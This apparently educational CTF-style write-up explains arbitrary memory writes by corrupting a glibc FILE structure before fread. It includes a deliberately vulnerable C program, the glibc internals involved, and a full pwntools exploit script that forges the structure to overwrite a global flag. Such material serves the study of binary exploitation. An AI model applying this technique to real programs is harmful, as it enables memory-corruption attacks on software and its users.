Prerequisites
- Memory Corruption: Ability to overwrite a
FILEstructure. - Known Address: Knowledge of the target memory address you want to overwrite.
- Input Stream: A standard library call that triggers an underflow (e.g.,
fread,fgets,fscanf).
Arbitrary Write via FILE Structure Corruption
Similar to how fwrite can be abused for arbitrary reads, the fread function (and other input operations) can be manipulated to perform arbitrary memory writes. By redirecting the internal stream buffers to a target address, we can force the library to “fill” our chosen memory location with data from a file descriptor we control (like stdin).
Vulnerable Scenario
In this scenario, a program allows an overflow into a FILE structure before calling fread. The goal is to overwrite the authenticated global variable to trigger the win function.
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
FILE *fp;
char *buf;
int authenticated;
void win() { puts("Well done baby"); }
int main(int argc, char **argv, char **envp) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
authenticated = 0;
buf = malloc(0x100);
// Open a dummy file
fp = fopen("/tmp/uiiaiiuuiiai.txt", "r");
if (!fp) {
perror("fopen");
exit(1);
}
printf("authenticated is at %p\n", &authenticated);
// The vulnerability: 0x1e0 bytes overflow into the FILE structure
read(0, fp, 0x1e0);
// This call will now use our corrupted structure
fread(buf, 1, 0x100, fp);
if (authenticated) {
win();
} else {
puts("You are not 1337 enough.");
}
return 0;
}Glibc Internals: _IO_file_xsgetn
When fread is called, it eventually invokes _IO_file_xsgetn. This function manages the transfer of data from the stream’s buffer to the user’s buffer. If the stream buffer is empty, it calls __underflow to refill it.
// Simplified glibc/libio/fileops.c
size_t _IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
size_t want, have;
want = n;
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (data, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
/* ... (buffer management) ... */
// If buffer is empty, trigger underflow
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
/* ... (direct SYSREAD path) ... */
}
}
return n - want;
}The __underflow call eventually leads to _IO_new_file_underflow, which performs the actual read system call into _IO_buf_base.
Exploitation Strategy
To perform an arbitrary write to the authenticated variable, we must satisfy these conditions:
_flags: Clear_IO_NO_READS(0x0004) to allow input operations._fileno: Set to0(stdin) to read input from the user instead of the file._IO_read_ptr&_IO_read_end: Set them equal to each other (e.g., both0) to convince Glibc that the internal buffer is empty and needs refilling._IO_buf_base: Point to the target address (&authenticated)._IO_buf_end: Point to the end of the target area (&authenticated + size). The difference_IO_buf_end - _IO_buf_basemust be strictly larger than thefreadsize (want) to satisfy the internal check:want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base).
Explicit vs. Implicit Triggers
While fread is the most direct way to trigger input buffering, other functions that read from a stream can also trigger the underflow mechanism if the internal buffer is marked as empty (by setting _IO_read_ptr == _IO_read_end).
- Explicit Functions: Functions that take a
FILE *pointer as an argument (e.g.,fread(..., fp),fgets(..., fp),fscanf(fp, ...)). - Implicit Functions: Functions that rely on the global
stdinpointer (e.g.,scanf(...),gets(...),getchar()).
Note: Unlike Arbitrary Read (Output), this technique relies on the program explicitly requesting input. Passive events like exit(), abort(), or fflush() do not trigger an input underflow and thus cannot trigger this exploit.
If an attacker corrupts the stdin structure itself, any subsequent call to an implicit function (like scanf) will use the corrupted structure, triggering the arbitrary write.
When __underflow is triggered, Glibc will call read(0, _IO_buf_base, _IO_buf_end - _IO_buf_base), effectively writing our input directly to the target memory.
Exploit Script
from pwn import *
elf = context.binary = ELF("./challenge")
p = process(elf.path)
p.recvuntil(b"authenticated is at ")
auth_addr = int(p.recvline().strip(), 16)
info(f"Target address: {hex(auth_addr)}")
# Crafting the fake FILE structure for arbitrary write
payload = flat({
0x00: 0xfbad0000 & ~4, # _flags: MAGIC, clear NO_READS
0x08: 0, # _IO_read_ptr
0x10: 0, # _IO_read_end
0x38: auth_addr, # _IO_buf_base (Target)
0x40: auth_addr + 0x101, # _IO_buf_end
0x70: 0, # _fileno (stdin)
}, filler=b"\x00")
# Send the corrupted FILE structure
p.send(payload)
# Now fread will call underflow and read from stdin into auth_addr
# We send a non-zero value to make 'authenticated' true
# Make sure to send enough data to fill the target area (0x100++ bytes)
p.send(b"a" * 0x100)
p.interactive()